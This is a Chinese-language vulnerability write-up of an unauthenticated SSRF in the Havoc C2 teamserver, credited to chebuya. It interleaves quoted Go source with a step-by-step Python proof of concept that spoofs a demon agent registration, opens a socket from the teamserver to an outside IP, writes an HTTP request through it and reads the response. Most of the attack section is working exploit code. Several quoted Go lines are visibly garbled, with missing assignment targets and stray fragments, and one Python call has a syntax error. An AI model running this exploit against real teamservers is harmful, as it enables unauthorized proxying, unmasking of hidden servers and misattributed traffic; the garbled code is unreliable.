来自chebuya老哥发现的漏洞和的poc:
https://github.com/chebuya/Havoc-C2-SSRF-poc
使用方式:
usage: exploit.py [-h] -t TARGET -i IP -p PORT [-A USER_AGENT] [-H HOSTNAME] [-u USERNAME] [-d DOMAIN_NAME]
[-n PROCESS_NAME] [-ip INTERNAL_IP]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
The listener target in URL format
-i IP, --ip IP The IP to open the socket with
-p PORT, --port PORT The port to open the socket with
-A USER_AGENT, --user-agent USER_AGENT
The User Agent for the spoofed agent
-H HOSTNAME, --hostname HOSTNAME
The hostname for the spoofed agent
-u USERNAME, --username USERNAME
The username for the spoofed agent
-d DOMAIN_NAME, --domain-name DOMAIN_NAME
The domain name for the spoofed agent
-n PROCESS_NAME, --process-name PROCESS_NAME
The process name for the spoofed agent
-ip INTERNAL_IP, --internal-ip INTERNAL_IP
The internal ip for the spoofed agent
介绍:
Havoc C2(https://github.com/HavocFramework/Havoc)是一款比较新且灵活扩展开发的后渗透和控制框架,主要针对Windows系统,受到红队成员和攻击者的广泛使用。在审计其代码库时,发现了一个漏洞,该漏洞允许未经身份验证的攻击者在teamserver上创建具有任意IP/端口的TCP套接字,并通过该套接字读写流量。利用这一漏洞,攻击者可以泄露隐藏在公共重定向器之后的teamserver的原始IP地址(归因),利用存在漏洞的teamserver作为重定向器(错误归因),以及通过teamserver上任何监听的socks代理路由流量。
漏洞具体分析:
让我们从跟踪代码流到初始demon代理注册开始
启动teamserver或添加新侦听器后,ListenerStart函数将配置并启动侦听器。我们可以在这段代码的底部看到,调用了Start()函数。
func (t *Teamserver) ListenerStart(ListenerType int, info any) error {
...
switch ListenerType {
case handlers.LISTENER_HTTP:
var HTTPConfig = handlers.NewConfigHttp()
var config = info.(handlers.HTTPConfig)
HTTPConfig.Config = config
HTTPConfig.Config.Secure = config.Secure
// HTTPConfig.RoutineFunc = Functions
HTTPConfig.Teamserver = t
HTTPConfig.Start()
func (h *HTTP) Start() {
logger.Debug("Setup HTTP/s Server")
if len(h.Config.Hosts) == 0 && h.Config.PortBind == "" && h.Config.Name == "" {
logger.Error("HTTP Hosts/Port/Name not set")
return
}
h.GinEngine.POST("/*endpoint", h.request)
...
func (h *HTTP) request(ctx *gin.Context) {
var ExternalIP string
var MissingHdr string
Body, err := io.ReadAll(ctx.Request.Body)
if err != nil {
logger.Debug("Error while reading request: " + err.Error())
}
...
// check that the URI is defined on the profile
if len(h.Config.Uris) > 0 && ! (len(h.Config.Uris) == 1 && h.Config.Uris[0] == "") {
valid = false
for _, Uri := range h.Config.Uris {
if ctx.Request.RequestURI == Uri {
valid = true
break
}
}
if valid == false {
logger.Warn(fmt.Sprintf("got a request with an invalid request path: %s", ctx.Request.RequestURI))
h.fake404(ctx)
return
}
}
// check that the User-Agent is valid
if h.Config.UserAgent != "" {
if h.Config.UserAgent != ctx.Request.UserAgent() {
logger.Warn(fmt.Sprintf("got a request with an invalid user agent: %s", ctx.Request.UserAgent()))
h.fake404(ctx)
return
}
}
...
if Response, Success := parseAgentRequest(h.Teamserver, Body, ExternalIP); Success {
_, err := ctx.Writer.Write(Response.Bytes())
if err != nil {
logger.Debug("Failed to write to request: " + err.Error())
h.fake404(ctx)
return
}
} else {
logger.Warn("failed to parse agent request")
h.fake404(ctx)
return
}
ctx.AbortWithStatus(http.StatusOK)
return
func parseAgentRequest(Teamserver agent.TeamServer, Body []byte, ExternalIP string) (bytes.Buffer, bool) {
var (
Header agent.Header
Response bytes.Buffer
err error
)
Header, err = agent.ParseHeader(Body)
if err != nil {
logger.Debug("[Error] Header: " + err.Error())
return Response, false
}
if Header.Data.Length() < 4 {
return Response, false
}
// handle this demon connection if the magic value matches
if Header.MagicValue == agent.DEMON_MAGIC_VALUE {
return handleDemonAgent(Teamserver, Header, ExternalIP)
}
// If it's not a Demon request then try to see if it's a 3rd party agent.
return handleServiceAgent(Teamserver, Header, ExternalIP)
}
func ParseHeader(data []byte) (Header, error) {
var (
Header = Header{}
Parser = parser.NewParser(data)
)
if Parser.Length() > 4 {
Header.Size = Parser.ParseInt32()
} else {
return Header, errors.New("failed to parse package size")
}
if Parser.Length() > 4 {
Header.MagicValue = Parser.ParseInt32()
} else {
return Header, errors.New("failed to parse magic value")
}
if Parser.Length() > 4 {
Header.AgentID = Parser.ParseInt32()
} else {
return Header, errors.New("failed to parse agent id")
}
Header.Data = Parser
return Header, nil
}
func handleDemonAgent(Teamserver agent.TeamServer, Header agent.Header, ExternalIP string) (bytes.Buffer, bool) {
...
/* check if the agent exists. */
if Teamserver.AgentExist(Header.AgentID) {
...
} else {
logger.Debug("Agent does not exists. hope this is a register request")
var (
Command = Header.Data.ParseInt32()
)
/* TODO: rework this. */
if Command == agent.DEMON_INIT {
// RequestID, unused on DEMON_INIT
Header.Data.ParseInt32()
Agent = agent.ParseDemonRegisterRequest(Header.AgentID, Header.Data, ExternalIP)
if Agent == nil {
return Response, false
}
Agent.Info.MagicValue = Header.MagicValue
Agent.Info.Listener = nil /* TODO: pass here the listener instance/name */
Teamserver.AgentAdd(Agent)
Teamserver.AgentSendNotify(Agent)
...
func ParseDemonRegisterRequest(AgentID int, Parser *parser.Parser, ExternalIP string) *Agent {
...
if Parser.Length() >= 32+16 {
var Session = &Agent{
Encryption: struct {
AESKey []byte
AESIv []byte
}{
AESKey: Parser.ParseAtLeastBytes(32),
AESIv: Parser.ParseAtLeastBytes(16),
},
Active: false,
SessionDir: "",
Info: new(AgentInfo),
}
check if there is aes key/iv.
if bytes.Compare(Session.Encryption.AESKey, AesKeyEmpty) != 0 {
Session.Encryption.AESIv)
}
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64, parser.ReadInt32}) {
DemonID = Parser.ParseInt32()
DemonID: %x", DemonID))
if AgentID != DemonID {
if AgentID != 0 {
to decrypt agent init request")
return nil
}
else {
(%x) == DemonID (%x)\n", AgentID, DemonID))
}
Hostname = Parser.ParseString()
Username = Parser.ParseString()
DomainName = Parser.ParseString()
InternalIP = Parser.ParseString()
if ExternalIP != "" {
ExternalIP =
}
...
ProcessName = Parser.ParseUTF16String()
ProcessPID = Parser.ParseInt32()
ProcessTID = Parser.ParseInt32()
ProcessPPID = Parser.ParseInt32()
ProcessArch = Parser.ParseInt32()
Elevated = Parser.ParseInt32()
BaseAddress = Parser.ParseInt64()
...
OsVersion = []int{Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32()}
OsArch = Parser.ParseInt32()
SleepDelay = Parser.ParseInt32()
SleepJitter = Parser.ParseInt32()
KillDate = Parser.ParseInt64()
WorkingHours = int32(Parser.ParseInt32())
...
true =
fmt.Sprintf("%08x", DemonID) =
MagicValue =
time.Now().Format("02/01/2006 15:04:05") =
time.Now().Format("02-01-2006 15:04:05") =
Hostname =
DomainName =
Username =
InternalIP =
SleepDelay =
SleepJitter =
KillDate =
WorkingHours =
...
getWindowsVersionString(OsVersion) =
...
process := strings.Split(ProcessName, "\\")
process[len(process)-1] =
ProcessPID =
ProcessTID =
ProcessPPID =
ProcessName =
BaseAddress =
false =
...
return Session
...
/* check if the agent exists. */
if Teamserver.AgentExist(Header.AgentID) {
...
} else {
logger.Debug("Agent does not exists. hope this is a register request")
[4 bytes ]
[4 bytes ]
[4 bytes ]
[4 bytes ]
[4 bytes ]
[32 bytes ]
[16 bytes ]
AES Encrypted {
[4 bytes <-- this is needed to check if we successfully decrypted the data ]
[ ] size + bytes
[ ] size + bytes
[ ] size + bytes
[16 bytes? ]
[ ] size + bytes
[4 bytes ]
[4 bytes ]
[4 bytes ]
[4 bytes ]
[8 bytes ]
[5 * 4 ) bytes ] (
[4 bytes ]
..... more
}
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
# DEMON_INITIALIZE / 99
command = b"\x00\x00\x00\x63"
request_id = b"\x00\x00\x00\x01"
demon_id = agent_id
hostname_length = int_to_bytes(len(hostname))
username_length = int_to_bytes(len(username))
domain_name_length = int_to_bytes(len(domain_name))
internal_ip_length = int_to_bytes(len(internal_ip))
process_name_length = int_to_bytes(len(process_name) - 6)
data = b"\xab" * 100
header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
print("[***] Trying to register agent...")
r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = "http://TARGET"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = b"DESKTOP-7F61JT1"
username = b"neo"
domain_name = b"MATRIX"
internal_ip = b"10.1.33.7"
process_name = "msedge.exe".encode("utf-16le")
process_id = int_to_bytes(random.randint(100, 5000))
register_agent(hostname, username, domain_name, internal_ip,,process_name, process_id)
/* check if the agent exists. */
if Teamserver.AgentExist(Header.AgentID) {
/* get our agent instance based on the agent id */
Agent = Teamserver.AgentInstance(Header.AgentID)
Agent.UpdateLastCallback(Teamserver)
// while we can read a command and request id, parse new packages
first_iter := true
asked_for_jobs := false
for (Header.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) {
Command = uint32(Header.Data.ParseInt32())
RequestID = uint32(Header.Data.ParseInt32())
/* check if this is a 'reconnect' request */
if Command == agent.DEMON_INIT {
...
}
if first_iter {
first_iter = false
// if the message is not a reconnect, decrypt the buffer
Header.Data.DecryptBuffer(Agent.Encryption.AESKey, Agent.Encryption.AESIv)
}
/* The agent is sending us the result of a task */
if Command != agent.COMMAND_GET_JOB {
Parser := parser.NewParser(Header.Data.ParseBytes())
Agent.TaskDispatch(RequestID, Command, Parser, Teamserver)
} else {
asked_for_jobs = true
}
}
func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.Parser, teamserver TeamServer) {
var NameID, _ = strconv.ParseInt(a.NameID, 16, 64)
AgentID := int(NameID)
/* if the RequestID was not generated by the TS, reject the request */
if a.IsKnownRequestID(teamserver, RequestID, CommandID) == false {
logger.Warn(fmt.Sprintf("Agent: %x, CommandID: %d, unknown RequestID: %x. This is either a bug or malicious activity", AgentID, CommandID, RequestID))
return
}
// check that the request the agent is valid
func (a *Agent) IsKnownRequestID(teamserver TeamServer, RequestID uint32, CommandID uint32) bool {
// some commands are always accepted because they don't follow the "send task and get response" format
switch CommandID {
case COMMAND_SOCKET:
return true
case COMMAND_PIVOT:
return true
}
if teamserver.SendLogs() && CommandID == BEACON_OUTPUT {
// if SendLogs is on, accept all BEACON_OUTPUT so that the agent can send logs
return true
}
for i := range a.Tasks {
if a.Tasks[i].RequestID == RequestID {
return true
}
}
return false
}
COMMAND_SOCKET
COMMAND_PIVOT
BEACON_OUTPUT
func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.Parser, teamserver TeamServer) {
var NameID, _ = strconv.ParseInt(a.NameID, 16, 64)
AgentID := int(NameID)
/* if the RequestID was not generated by the TS, reject the request */
if a.IsKnownRequestID(teamserver, RequestID, CommandID) == false {
logger.Warn(fmt.Sprintf("Agent: %x, CommandID: %d, unknown RequestID: %x. This is either a bug or malicious activity", AgentID, CommandID, RequestID))
return
}
switch CommandID {
case COMMAND_GET_JOB:
...
case COMMAND_OUTPUT:
case BEACON_OUTPUT: // We can reach this
case COMMAND_INJECT_DLL:
...
case COMMAND_PIVOT: // We can reach this
case COMMAND_TRANSFER:
case COMMAND_SOCKET: // We can reach this
case COMMAND_KERBEROS:
...
case COMMAND_SOCKET:
var (
SubCommand = 0
Message map[string]string
)
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
SubCommand = Parser.ParseInt32()
switch SubCommand {
case SOCKET_COMMAND_RPORTFWD_ADD:
case SOCKET_COMMAND_RPORTFWD_LIST:
case SOCKET_COMMAND_RPORTFWD_REMOVE:
case SOCKET_COMMAND_RPORTFWD_CLEAR:
case SOCKET_COMMAND_SOCKSPROXY_ADD:
case SOCKET_COMMAND_OPEN:
case SOCKET_COMMAND_READ:
case SOCKET_COMMAND_WRITE:
case SOCKET_COMMAND_CLOSE:
case SOCKET_COMMAND_CONNECT:
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - UNKNOWN (%d)", AgentID, SubCommand))
}
case SOCKET_COMMAND_OPEN:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
SocktID = 0
LclAddr = 0
LclPort = 0
FwdAddr = 0
FwdPort = 0
FwdString string
)
SocktID = Parser.ParseInt32()
LclAddr = Parser.ParseInt32()
LclPort = Parser.ParseInt32()
FwdAddr = Parser.ParseInt32()
FwdPort = Parser.ParseInt32()
// avoid too much spam
//logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, SocktID: %08x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d", AgentID, SocktID, LclAddr, LclPort, FwdAddr, FwdPort))
FwdString = common.Int32ToIpString(int64(FwdAddr))
FwdString = fmt.Sprintf("%s:%d", FwdString, FwdPort)
if Socket := a.PortFwdGet(SocktID); Socket != nil {
/* Socket already exists. don't do anything. */
logger.Debug("Socket already exists")
return
}
/* add this rportfwd */
a.PortFwdNew(SocktID, LclAddr, LclPort, FwdAddr, FwdPort, FwdString)
/* we will open the rportfwd client only after we have something to write */
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, Invalid packet", AgentID))
}
break
func (a *Agent) PortFwdNew(SocketID, LclAddr, LclPort, FwdAddr, FwdPort int, Target string) {
var portfwd = &PortFwd{
Conn: nil,
SocktID: SocketID,
LclAddr: LclAddr,
LclPort: LclPort,
FwdAddr: FwdAddr,
FwdPort: FwdPort,
Target: Target,
}
a.PortFwdsMtx.Lock()
append(a.PortFwds, portfwd) =
a.PortFwdsMtx.Unlock()
}
case SOCKET_COMMAND_READ:
/* if we receive the SOCKET_COMMAND_READ command
* that means that we should read the callback and send it to the forwared host/socks proxy */
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
SocktID = Parser.ParseInt32()
Type = Parser.ParseInt32()
Success = Parser.ParseInt32()
)
if Success == win32.TRUE {
if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
var(
Data = Parser.ParseBytes()
)
// avoid too much spam
//logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, SocktID: %08x, Type: %d, DataLength: %x", AgentID, SocktID, Type, len(Data)))
if Type == SOCKET_TYPE_CLIENT {
/* we only open rportfwd clients once we have data to write */
opened, err := a.PortFwdIsOpen(SocktID)
if err != nil {
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward host: %v", err), "")
return
}
/* if first time, open the client */
if opened == false {
err := a.PortFwdOpen(SocktID)
if err != nil {
logger.Debug(fmt.Sprintf("Failed to open rportfwd: %v", err))
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to open reverse port forward host: %v", err), "")
return
}
}
def open_socket(socket_id, target_address, target_port):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x02"
# SOCKET_COMMAND_OPEN / 16
subcommand = b"\x00\x00\x00\x10"
sub_request_id = b"\x00\x00\x00\x03"
local_addr = b"\x22\x22\x22\x22"
local_port = b"\x33\x33\x33\x33"
forward_addr = b""
for octet in target_address.split(".")[::-1]:
forward_addr += int_to_bytes(int(octet), length=1)
forward_port = int_to_bytes(target_port)
package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to open socket on the teamserver...")
r = requests.post(teamserver_listener_url, data=data, headers=headers)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")
# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = "http://192.168.1.32"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = b"DESKTOP-7F61JT1"
username = b"neo"
domain_name = b"MRTX"
internal_ip = b"10.1.33.7"
process_name = "msedge.exe".encode("utf-16le")
process_id = int_to_bytes(random.randint(100, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, "44.221.186.72", 80)
/* if first time, open the client */
if opened == false {
err := a.PortFwdOpen(SocktID)
if err != nil {
logger.Debug(fmt.Sprintf("Failed to open rportfwd: %v", err))
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to open reverse port forward host: %v", err), "")
return
}
}
/* write the data to the forwarded host */
err = a.PortFwdWrite(SocktID, Data)
if err != nil {
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward socket 0x%08x: %v", SocktID, err), "")
return
}
def write_socket(socket_id, data):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x08"
# SOCKET_COMMAND_READ / 11
subcommand = b"\x00\x00\x00\x11"
sub_request_id = b"\x00\x00\x00\xa1"
# SOCKET_TYPE_CLIENT / 3
socket_type = b"\x00\x00\x00\x03"
success = b"\x00\x00\x00\x01"
data_length = int_to_bytes(len(data))
package = subcommand+socket_id+socket_type+success+data_length+data
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
post_data = agent_header + header_data
print("[***] Trying to write to the socket")
r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")
# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = "http://192.168.1.32"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = b"DESKTOP-7F61JT1"
username = b"neo"
domain_name = b"MRTX"
internal_ip = b"10.1.33.7"
process_name = "msedge.exe".encode("utf-16le")
process_id = int_to_bytes(random.randint(100, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, "44.221.186.72", 80)
request_data = b"GET /vulnerable HTTP/1.1\r\nHost: www.example.com\r\nConnection: close\r\n\r\n"
write_socket(socket_id, request_data)
if opened == false {
/* after we managed to open a socket to the forwarded host lets start a
* goroutine where we read the data from the forwarded host and send it to the agent. */
go func() {
for {
Data, err := a.PortFwdRead(SocktID)
if err == nil {
/* only send the data if there is something... */
if len(Data) > 0 {
/* make a new job */
var job = Job{
Command: COMMAND_SOCKET,
Data: []any{
SOCKET_COMMAND_WRITE,
SocktID,
Data,
},
}
/* append the job to the task queue */
a.AddJobToQueue(job)
/* check if the agent exists. */
if Teamserver.AgentExist(Header.AgentID) {
...
for (Header.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) {
...
/* The agent is sending us the result of a task */
if Command != agent.COMMAND_GET_JOB {
Parser := parser.NewParser(Header.Data.ParseBytes())
Agent.TaskDispatch(RequestID, Command, Parser, Teamserver)
} else {
asked_for_jobs = true
}
}
/* if there is no job then just reply with a COMMAND_NOJOB */
if asked_for_jobs == false || len(Agent.JobQueue) == 0 {
...
} else {
/* if there is a job then send the Task Queue */
var (
job = Agent.GetQueuedJobs()
payload = agent.BuildPayloadMessage(job, Agent.Encryption.AESKey, Agent.Encryption.AESIv)
)
// write the response to the buffer
_, err = Response.Write(payload)
def read_socket(socket_id):
# COMMAND_GET_JOB / 1
command = b"\x00\x00\x00\x01"
request_id = b"\x00\x00\x00\x09"
header_data = command + request_id
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to poll teamserver for socket output...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Read socket output successfully!")
else:
print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
return ""
command_id = int.from_bytes(r.content[0:4], "little")
request_id = int.from_bytes(r.content[4:8], "little")
package_size = int.from_bytes(r.content[8:12], "little")
enc_package = r.content[12:]
return decrypt(AES_Key, AES_IV, enc_package)[12:]
# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = "http://192.168.1.32"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = b"DESKTOP-7F61JT1"
username = b"neo"
domain_name = b"MRTX"
internal_ip = b"10.1.33.7"
process_name = "msedge.exe".encode("utf-16le")
process_id = int_to_bytes(random.randint(100, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, "44.221.186.72", 80)
request_data = b"GET /vulnerable HTTP/1.1\r\nHost: www.example.com\r\nConnection: close\r\n\r\n"
write_socket(socket_id, request_data)
print(read_socket(socket_id).decode())